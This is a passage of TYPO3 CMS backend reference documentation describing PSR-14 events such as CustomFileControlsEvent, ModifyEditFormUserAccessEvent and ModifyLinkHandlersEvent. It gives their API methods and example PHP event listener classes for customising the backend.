param $table

the table

Returns
bool
getIgnoredTables ( )
Returns
string[]

CustomFileControlsEvent

Listeners to the PSR-14 event \TYPO3\CMS\Backend\Form\Event\CustomFileControlsEvent are able to add custom controls to a TCA type file field in form engine.

Custom controls are always displayed below the file references. In contrast to the selectors, e.g. Select & upload files are custom controls independent of the readonly and showFileSelectors options. This means, you have full control in which scenario your custom controls are being displayed.

Example

API

class CustomFileControlsEvent
Fully qualified name
\TYPO3\CMS\Backend\Form\Event\CustomFileControlsEvent

Listeners to this Event will be able to add custom controls to a TCA type="file" field in FormEngine

getResultArray ( )
Returns
array
setResultArray ( array $resultArray)

WARNING: Modifying the result array should be used with care. It mostly only exists to allow additional $resultArray['javaScriptModules'].

param $resultArray

the resultArray

getControls ( )
Returns
array
setControls ( array $controls)
param $controls

the controls

addControl ( string $control, string $identifier = '')
param $control

the control

param $identifier

the identifier, default: ''

removeControl ( string $identifier)
param $identifier

the identifier

Returns
bool
getTableName ( )
Returns
string
getFieldName ( )
Returns
string
getDatabaseRow ( )
Returns
array
getFieldConfig ( )
Returns
array
getFormFieldIdentifier ( )
Returns
string
getFormFieldName ( )
Returns
string

IsContentUsedOnPageLayoutEvent

Use the PSR-14 event \TYPO3\CMS\Backend\View\Event\IsContentUsedOnPageLayoutEvent to identify if content has been used in a column that is not in a backend layout.

Setting $event->setUsed(true) prevent the following message for the affected content element, setting it to false displays it:

Example: Display "Unused elements detected on this page" for elements with missing parent

EXT:my_extension/Classes/Listener/ContentUsedOnPage.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Listener;

use TYPO3\CMS\Backend\View\Event\IsContentUsedOnPageLayoutEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/view/content-used-on-page',
)]
final readonly class ContentUsedOnPage
{
    public function __invoke(IsContentUsedOnPageLayoutEvent $event): void
    {
        // Get the current record from the event.
        $record = $event->getRecord();

        // This code will be your domain logic to indicate if content
        // should be hidden in the page module.
        if ((int)($record['colPos'] ?? 0) === 999
            && !empty($record['tx_myext_content_parent'])
        ) {
            // Flag the current element as not used. Set it to true, if you
            // want to flag it as used and hide it from the page module.
            $event->setUsed(false);
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API of IsContentUsedOnPageLayoutEvent

class IsContentUsedOnPageLayoutEvent
Fully qualified name
\TYPO3\CMS\Backend\View\Event\IsContentUsedOnPageLayoutEvent

Use this Event to identify whether a content element is used.

getRecord ( )
Returns
array
isRecordUsed ( )
Returns
bool
setUsed ( bool $isUsed)
param $isUsed

the isUsed

getKnownColumnPositionNumbers ( )
Returns
array
getPageLayoutContext ( )
Returns
\TYPO3\CMS\Backend\View\PageLayoutContext

IsFileSelectableEvent

The PSR-14 event \TYPO3\CMS\Backend\ElementBrowser\Event\IsFileSelectableEvent allows to decide whether a file can be selected in the file browser.

To get the image dimensions (width and height) of a file, you can retrieve the file and use the getProperty() method.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\ElementBrowser\Event\IsFileSelectableEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-file-is-selectable',
)]
final readonly class MyEventListener
{
    public function __invoke(IsFileSelectableEvent $event): void
    {
        // Deny selection of "png" images
        if ($event->getFile()->getExtension() === 'png') {
            $event->denyFileSelection();
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class IsFileSelectableEvent
Fully qualified name
\TYPO3\CMS\Backend\ElementBrowser\Event\IsFileSelectableEvent

Listeners to this event are able to define whether a file can be selected in the file browser

getFile ( )
Returns
\TYPO3\CMS\Core\Resource\FileInterface
isFileSelectable ( )
Returns
bool
allowFileSelection ( )
denyFileSelection ( )

ModifyAllowedItemsEvent

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\ModifyAllowedItemsEvent allows extension authors to add or remove from the list of allowed link types.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Controller\Event\ModifyAllowedItemsEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/allowed-items',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyAllowedItemsEvent $event): void
    {
        $event->addAllowedItem('someItem');
        $event->removeAllowedItem('anotherItem');
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyAllowedItemsEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\ModifyAllowedItemsEvent

This event allows extensions to add or remove from the list of allowed link types.

getAllowedItems ( )
Returns
string[]
addAllowedItem ( string $item)
param $item

the item

Returns
self
removeAllowedItem ( string $new)
param $new

the new

Returns
self
getCurrentLinkParts ( )
Returns
array<string,mixed>

ModifyButtonBarEvent

The PSR-14 event \TYPO3\CMS\Backend\Template\Components\ModifyButtonBarEvent can be used to modify the button bar in the TYPO3 backend module docheader.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Template\Components\ModifyButtonBarEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-button-bar',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyButtonBarEvent $event): void
    {
        // Do your magic here
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyButtonBarEvent
Fully qualified name
\TYPO3\CMS\Backend\Template\Components\ModifyButtonBarEvent

Listeners can modify the buttons of the button bar in the backend module docheader

getButtons ( )
Returns
\Buttons
setButtons ( array $buttons)
param $buttons

the buttons

getButtonBar ( )
Returns
\TYPO3\CMS\Backend\Template\Components\ButtonBar

ModifyClearCacheActionsEvent

The PSR-14 event \TYPO3\CMS\Backend\Backend\Event\ModifyClearCacheActionsEvent is fired in the \TYPO3\CMS\Backend\Backend\ToolbarItems\ClearCacheToolbarItem class and allows extension authors to modify the clear cache actions, shown in the TYPO3 backend top toolbar.

The event can be used to change or remove existing clear cache actions, as well as to add new actions. Therefore, the event also contains, next to the usual "getter" and "setter" methods, the convenience method add() for the cacheActions and cacheActionIdentifiers arrays.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Backend\Event\ModifyClearCacheActionsEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/toolbar/my-event-listener',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyClearCacheActionsEvent $event): void
    {
        // do magic here
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

The cache action array element consists of the following keys and values:

Example cache action array
[
    'id' => 'pages',
    'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:flushPageCachesTitle',
    'description' => 'LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:flushPageCachesDescription',
    'href' => (string)$uriBuilder->buildUriFromRoute('tce_db', ['cacheCmd' => 'pages']),
    'iconIdentifier' => 'actions-system-cache-clear-impact-low'
]
Copied!

API

class ModifyClearCacheActionsEvent
Fully qualified name
\TYPO3\CMS\Backend\Backend\Event\ModifyClearCacheActionsEvent

An event to modify the clear cache actions, shown in the TYPO3 Backend top toolbar

addCacheAction ( array $cacheAction)
param $cacheAction

the cacheAction

setCacheActions ( array $cacheActions)
param $cacheActions

the cacheActions

getCacheActions ( )
Returns
array
addCacheActionIdentifier ( string $cacheActionIdentifier)
param $cacheActionIdentifier

the cacheActionIdentifier

setCacheActionIdentifiers ( array $cacheActionIdentifiers)
param $cacheActionIdentifiers

the cacheActionIdentifiers

getCacheActionIdentifiers ( )
Returns
array

ModifyDatabaseQueryForContentEvent

Use the PSR-14 event \TYPO3\CMS\Backend\View\Event\ModifyDatabaseQueryForContentEvent to filter out certain content elements from being shown in the Page module.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\View\Event\ModifyDatabaseQueryForContentEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Database\Connection;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-database-query-for-content',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyDatabaseQueryForContentEvent $event): void
    {
        // Early return if we do not need to react
        if ($event->getTable() !== 'tt_content') {
            return;
        }

        // Retrieve QueryBuilder instance from event
        $queryBuilder = $event->getQueryBuilder();

        // Add an additional condition to the QueryBuilder for the table
        // Note: This is only a example, modify the QueryBuilder instance
        //       here to your needs.
        $queryBuilder = $queryBuilder->andWhere(
            $queryBuilder->expr()->neq(
                'some_field',
                $queryBuilder->createNamedParameter(1, Connection::PARAM_INT),
            ),
        );

        // Set updated QueryBuilder to event
        $event->setQueryBuilder($queryBuilder);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyDatabaseQueryForContentEvent
Fully qualified name
\TYPO3\CMS\Backend\View\Event\ModifyDatabaseQueryForContentEvent

Use this Event to alter the database query when loading content for a page.

getQueryBuilder ( )
Returns
\TYPO3\CMS\Core\Database\Query\QueryBuilder
setQueryBuilder ( \TYPO3\CMS\Core\Database\Query\QueryBuilder $queryBuilder)
param $queryBuilder

the queryBuilder

getTable ( )
Returns
string
getPageId ( )
Returns
int

ModifyDatabaseQueryForRecordListingEvent

The PSR-14 event \TYPO3\CMS\Backend\View\Event\ModifyDatabaseQueryForRecordListingEvent allows to alter the query builder SQL statement before a list of records is rendered in record lists, such as the List module or an element browser.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\View\Event\ModifyDatabaseQueryForRecordListingEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-database-query-for-record-list',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyDatabaseQueryForRecordListingEvent $event): void
    {
        $queryBuilder = $event->getQueryBuilder();

        // ... do something ...

        $event->setQueryBuilder($queryBuilder);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyDatabaseQueryForRecordListingEvent
Fully qualified name
\TYPO3\CMS\Backend\View\Event\ModifyDatabaseQueryForRecordListingEvent

Use this Event to alter the database query when loading content for a page (usually in the list module) before it is executed.

getQueryBuilder ( )
Returns
\TYPO3\CMS\Core\Database\Query\QueryBuilder
setQueryBuilder ( \TYPO3\CMS\Core\Database\Query\QueryBuilder $queryBuilder)
param $queryBuilder

the queryBuilder

getTable ( )
Returns
string
getPageId ( )
Returns
int
getFields ( )
Returns
array
getFirstResult ( )
Returns
int
getMaxResults ( )
Returns
int
getDatabaseRecordList ( )
Returns
\TYPO3\CMS\Backend\RecordList\DatabaseRecordList

ModifyEditFormUserAccessEvent

The PSR-14 event \TYPO3\CMS\Backend\Form\Event\ModifyEditFormUserAccessEvent\ModifyEditFormUserAccessEvent provides the full database row of the record in question next to the exception, which might have been set by the Core. Additionally, the event allows to modify the user access decision in an object-oriented way, using convenience methods.

In case any listener to the new event denies user access, while it was initially allowed by Core, the \TYPO3\CMS\Backend\Form\Exception\AccessDeniedListenerException will be thrown.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Form\Event\ModifyEditFormUserAccessEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-edit-form-user-access',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyEditFormUserAccessEvent $event): void
    {
        // Deny access for creating records of a custom table
        if ($event->getTableName() === 'tx_myext_domain_model_mytable' && $event->getCommand() === 'new') {
            $event->denyUserAccess();
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyEditFormUserAccessEvent
Fully qualified name
\TYPO3\CMS\Backend\Form\Event\ModifyEditFormUserAccessEvent

Listeners to this Event will be able to modify the user access decision for using FormEngine to create or edit a record.

allowUserAccess ( )

Allows user access to the editing form

denyUserAccess ( )

Denies user access to the editing form

doesUserHaveAccess ( )

Returns the current user access state

Returns
bool
getAccessDeniedException ( )

If Core's DataProvider previously denied access, this returns the corresponding exception, null otherwise

Returns
?\TYPO3\CMS\Backend\Form\Exception\AccessDeniedException
getTableName ( )

Returns the table name of the record in question

Returns
string
getCommand ( )

Returns the requested command, either new or edit

Returns
"new"|"edit"
getDatabaseRow ( )

Returns the record's database row

Returns
array

ModifyFileReferenceControlsEvent

Listeners to the PSR-14 event \TYPO3\CMS\Backend\Form\Event\ModifyFileReferenceControlsEvent are able to modify the controls of a single file reference of a TCA type file field. This event is similar to the ModifyInlineElementControlsEvent, which is only available for TCA type inline.

Example

API

class ModifyFileReferenceControlsEvent
Fully qualified name
\TYPO3\CMS\Backend\Form\Event\ModifyFileReferenceControlsEvent

Listeners to this Event will be able to modify the controls of a single file reference of a TCA type=file field.

getControls ( )

Returns all controls with their markup

Returns
array
setControls ( array $controls)

Overwrite the controls

param $controls

the controls

getControl ( string $identifier)

Returns the markup for the requested control

param $identifier

the identifier

Returns
string
setControl ( string $identifier, string $markup)

Set a control with the given identifier and markup IMPORTANT: Overwrites an existing control with the same identifier

param $identifier

the identifier

param $markup

the markup

hasControl ( string $identifier)

Returns whether a control exists for the given identifier

param $identifier

the identifier

Returns
bool
removeControl ( string $identifier)

Removes a control from the file reference, if it exists

param $identifier

the identifier

Return description

Whether the control could be removed

Returns
bool
getElementData ( )

Returns the whole element data

Returns
array
getRecord ( )

Returns the current record, the controls are created for

Returns
array
getParentUid ( )

Returns the uid of the parent (embedding) record (uid or NEW...)

Returns
string
getForeignTable ( )

Returns the table (foreign_table) the controls are created for

Returns
string
getFieldConfiguration ( )

Returns the TCA configuration of the TCA type=file field

Returns
array
isVirtual ( )

Returns whether the current records is only virtually shown and not physically part of the parent record

Returns
bool

ModifyFileReferenceEnabledControlsEvent

Listeners to the PSR-14 event \TYPO3\CMS\Backend\Form\Event\ModifyFileReferenceEnabledControlsEvent are able to modify the state (enabled or disabled) for the controls of a single file reference of a TCA type file field. This event is similar to the ModifyInlineElementEnabledControlsEvent, which is only available for TCA type inline.

Example

API

class ModifyFileReferenceEnabledControlsEvent
Fully qualified name
\TYPO3\CMS\Backend\Form\Event\ModifyFileReferenceEnabledControlsEvent

Listeners to this Event will be able to modify the state (enabled or disabled) for controls of a file reference

enableControl ( string $identifier)

Enable a control, if it exists

param $identifier

the identifier

Return description

Whether the control could be enabled

Returns
bool
disableControl ( string $identifier)

Disable a control, if it exists

param $identifier

the identifier

Return description

Whether the control could be disabled

Returns
bool
hasControl ( string $identifier)

Returns whether a control exists for the given identifier

param $identifier

the identifier

Returns
bool
isControlEnabled ( string $identifier)

Returns whether the control is enabled.

Note: Will also return FALSE in case no control exists for the requested identifier

param $identifier

the identifier

Returns
bool
getControlsState ( )

Returns all controls with their state (enabled or disabled)

Returns
array
getEnabledControls ( )

Returns all enabled controls

Returns
array
getElementData ( )

Returns the whole element data

Returns
array
getRecord ( )

Returns the current record of the controls are created for

Returns
array
getParentUid ( )

Returns the uid of the parent (embedding) record (uid or NEW...)

Returns
string
getForeignTable ( )

Returns the table (foreign_table) the controls are created for

Returns
string
getFieldConfiguration ( )

Returns the TCA configuration of the TCA type=file field

Returns
array
isVirtual ( )

Returns whether the current records is only virtually shown and not physically part of the parent record

Returns
bool

ModifyGenericBackendMessagesEvent

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\ModifyGenericBackendMessagesEvent allows to add or alter messages that are displayed in the About module (default start module of the TYPO3 backend).

Extensions such as the EXT:reports system extension use this event to display custom messages based on the system status:

A generic backend message in the about module

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Controller\Event\ModifyGenericBackendMessagesEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Messaging\FlashMessage;

#[AsEventListener(
    identifier: 'my-extension/backend/add-message',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyGenericBackendMessagesEvent $event): void
    {
        // Add a custom message
        $event->addMessage(new FlashMessage('My custom message'));
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyGenericBackendMessagesEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\ModifyGenericBackendMessagesEvent

Listeners to this event are able to add or change messages for the "Help > About" module.

getMessages ( )
Returns
array
addMessage ( \TYPO3\CMS\Core\Messaging\AbstractMessage $message)
param $message

the message

setMessages ( array $messages)
param $messages

the messages

ModifyImageManipulationPreviewUrlEvent

The PSR-14 event \TYPO3\CMS\Backend\Form\Event\ModifyImageManipulationPreviewUrlEvent can be used to modify the preview URL within the image manipulation element, used for example for the crop field of the sys_file_reference table.

As soon as a preview URL is set, the image manipulation element will display a corresponding button in the footer of the modal window, next to the Cancel and Accept buttons. On click, the preview URL will be opened in a new window.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Form\Event\ModifyImageManipulationPreviewUrlEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-imagemanipulation-previewurl',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyImageManipulationPreviewUrlEvent $event): void
    {
        $event->setPreviewUrl('https://example.com/some/preview/url');
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyImageManipulationPreviewUrlEvent
Fully qualified name
\TYPO3\CMS\Backend\Form\Event\ModifyImageManipulationPreviewUrlEvent

Listeners to this Event will be able to modify the preview url, used in the ImageManipulation element

getDatabaseRow ( )
Returns
array
getFieldConfiguration ( )
Returns
array
getFile ( )
Returns
\TYPO3\CMS\Core\Resource\File
getPreviewUrl ( )
Returns
string
setPreviewUrl ( string $previewUrl)
param $previewUrl

the previewUrl

ModifyInlineElementControlsEvent

The PSR-14 event \TYPO3\CMS\Backend\Form\Event\ModifyInlineElementControlsEvent is called after the markup for all enabled controls has been generated. It can be used to either change the markup of a control, to add a new control or to completely remove a control.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Form\Event\ModifyInlineElementControlsEvent;
use TYPO3\CMS\Backend\Form\Event\ModifyInlineElementEnabledControlsEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Imaging\IconFactory;
use TYPO3\CMS\Core\Imaging\IconSize;
use TYPO3\CMS\Core\Utility\GeneralUtility;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-enabled-controls',
    method: 'modifyEnabledControls',
)]
#[AsEventListener(
    identifier: 'my-extension/backend/modify-controls',
    method: 'modifyControls',
)]
final readonly class MyEventListener
{
    public function modifyEnabledControls(ModifyInlineElementEnabledControlsEvent $event): void
    {
        // Enable a control depending on the foreign table
        if ($event->getForeignTable() === 'sys_file_reference' && $event->isControlEnabled('sort')) {
            $event->enableControl('sort');
        }
    }

    public function modifyControls(ModifyInlineElementControlsEvent $event): void
    {
        // Add a custom control depending on the parent table
        if ($event->getElementData()['inlineParentTableName'] === 'tt_content') {
            $iconFactory = GeneralUtility::makeInstance(IconFactory::class);
            $event->setControl(
                'tx_my_control',
                '<a href="/some/url" class="btn btn-default t3js-modal-trigger">'
                . $iconFactory->getIcon('my-icon-identifier', IconSize::SMALL)->render()
                . '</a>',
            );
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyInlineElementControlsEvent
Fully qualified name
\TYPO3\CMS\Backend\Form\Event\ModifyInlineElementControlsEvent

Listeners to this Event will be able to modify the controls of an inline element

getControls ( )

Returns all controls with their markup

Returns
array
setControls ( array $controls)

Overwrite the controls

param $controls

the controls

getControl ( string $identifier)

Returns the markup for the requested control

param $identifier

the identifier

Returns
string
setControl ( string $identifier, string $markup)

Set a control with the given identifier and markup IMPORTANT: Overwrites an existing control with the same identifier

param $identifier

the identifier

param $markup

the markup

hasControl ( string $identifier)

Returns whether a control exists for the given identifier

param $identifier

the identifier

Returns
bool
removeControl ( string $identifier)

Removes a control from the inline element, if it exists

param $identifier

the identifier

Return description

Whether the control could be removed

Returns
bool
getElementData ( )

Returns the whole element data

Returns
array
getRecord ( )

Returns the current record of the controls are created for

Returns
array
getParentUid ( )

Returns the uid of the parent (embedding) record (uid or NEW...)

Returns
string
getForeignTable ( )

Returns the table (foreign_table) the controls are created for

Returns
string
getFieldConfiguration ( )

Returns the TCA configuration of the inline record field

Returns
array
isVirtual ( )

Returns whether the current records is only virtually shown and not physically part of the parent record

Returns
bool

ModifyInlineElementEnabledControlsEvent

The PSR-14 event \TYPO3\CMS\Backend\Form\Event\ModifyInlineElementEnabledControlsEvent is called before any control markup is generated. It can be used to enable or disable each control. With this event it is therefore possible to enable a control, which is disabled in TCA, only for some use case.

See the ModifyInlineElementControlsEvent example for details.

Example

API

class ModifyInlineElementEnabledControlsEvent
Fully qualified name
\TYPO3\CMS\Backend\Form\Event\ModifyInlineElementEnabledControlsEvent

Listeners to this Event will be able to modify the state (enabled or disabled) for controls of an inline element

enableControl ( string $identifier)

Enable a control, if it exists

param $identifier

the identifier

Return description

Whether the control could be enabled

Returns
bool
disableControl ( string $identifier)

Disable a control, if it exists

param $identifier

the identifier

Return description

Whether the control could be disabled

Returns
bool
hasControl ( string $identifier)

Returns whether a control exists for the given identifier

param $identifier

the identifier

Returns
bool
isControlEnabled ( string $identifier)

Returns whether the control is enabled.

Note: Will also return FALSE in case no control exists for the requested identifier

param $identifier

the identifier

Returns
bool
getControlsState ( )

Returns all controls with their state (enabled or disabled)

Returns
array
getEnabledControls ( )

Returns all enabled controls

Returns
array
getElementData ( )

Returns the whole element data

Returns
array
getRecord ( )

Returns the current record of the controls are created for

Returns
array
getParentUid ( )

Returns the uid of the parent (embedding) record (uid or NEW...)

Returns
string
getForeignTable ( )

Returns the table (foreign_table) the controls are created for

Returns
string
getFieldConfiguration ( )

Returns the TCA configuration of the inline record field

Returns
array
isVirtual ( )

Returns whether the current records is only virtually shown and not physically part of the parent record

Returns
bool

ModifyLinkExplanationEvent

While the removed hook effectively only allowed to modify the link explanation of TCA link fields in case the resolved link type did not already match one of those, implemented by TYPO3 itself, the new event allows to always modify the link explanation of any type. Additionally, this also allows to modify the additionalAttributes, displayed below the actual link explanation field. This is especially useful for extended link handler setups.

To modify the link explanation, the following methods are available:

  • getLinkExplanation(): Returns the current link explanation data
  • setLinkExplanation(): Set the link explanation data
  • getLinkExplanationValue(): Returns a specific link explanation value
  • setLinkExplanationValue(): Sets a specific link explanation value

The link explanation array usually contains the following values:

  • text : The text to show in the link explanation field
  • icon: The markup for the icon, displayed in front of the link explanation field
  • additionalAttributes: The markup for additional attributes, displayed below the link explanation field

The current context can be evaluated using the following methods:

  • getLinkData(): Returns the resolved link data, such as the page uid
  • getLinkParts(): Returns the resolved link parts, such as url, target and additionalParams
  • getElementData(): Returns the full FormEngine $data array for the current element

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Form\Event\ModifyLinkExplanationEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Imaging\IconFactory;
use TYPO3\CMS\Core\Imaging\IconSize;

#[AsEventListener(
    identifier: 'my-extension/backend/modify-link-explanation',
)]
final readonly class MyEventListener
{
    public function __construct(
        private IconFactory $iconFactory,
    ) {}

    public function __invoke(ModifyLinkExplanationEvent $event): void
    {
        // Use a custom icon for a custom link type
        if ($event->getLinkData()['type'] === 'myCustomLinkType') {
            $event->setLinkExplanationValue(
                'icon',
                $this->iconFactory->getIcon(
                    'my-custom-link-icon',
                    IconSize::SMALL,
                )->render(),
            );
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyLinkExplanationEvent
Fully qualified name
\TYPO3\CMS\Backend\Form\Event\ModifyLinkExplanationEvent

Listeners to this Event will be able to modify the link explanation array, used in FormEngine for link fields

getLinkData ( )
Returns
array
getLinkParts ( )
Returns
array
getElementData ( )
Returns
array
getLinkExplanation ( )
Returns
array
setLinkExplanation ( array $linkExplanation)
param $linkExplanation

the linkExplanation

getLinkExplanationValue ( string $key, ?mixed $default = NULL)
param $key

the key

param $default

the default, default: NULL

Returns
?mixed
setLinkExplanationValue ( string $key, ?mixed $value)
param $key

the key

param $value

the value

ModifyLinkHandlersEvent

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\ModifyLinkHandlersEvent is triggered before link handlers are executed, allowing listeners to modify the set of handlers that will be used.

Example

EXT:my_extension/Classes/Backend/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend\EventListener;

use TYPO3\CMS\Backend\Controller\Event\ModifyLinkHandlersEvent;
use TYPO3\CMS\Core\Attribute\AsEventListener;

#[AsEventListener(
    identifier: 'my-extension/backend/link-handlers',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyLinkHandlersEvent $event): void
    {
        $handler = $event->getLinkHandler('url.');
        $handler['label'] = 'My custom label';
        $event->setLinkHandler('url.', $handler);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyLinkHandlersEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\ModifyLinkHandlersEvent

This event allows extensions to modify the list of link handlers and their configuration before they are invoked.

getLinkHandlers ( )
Returns
array<string,array>
getLinkHandler ( string $name)

Gets an individual handler by name.

param $name

The handler name, including trailing period.

Return description

The handler definition, or null if not defined.

Returns
array<string,mixed>|null
setLinkHandler ( string $name, array $handler)

Sets a handler by name, overwriting it if it already exists.

param $name

The handler name, including trailing period.

param $handler

the handler

Returns
$this
getCurrentLinkParts ( )
Returns
array<string,mixed>

ModifyNewContentElementWizardItemsEvent

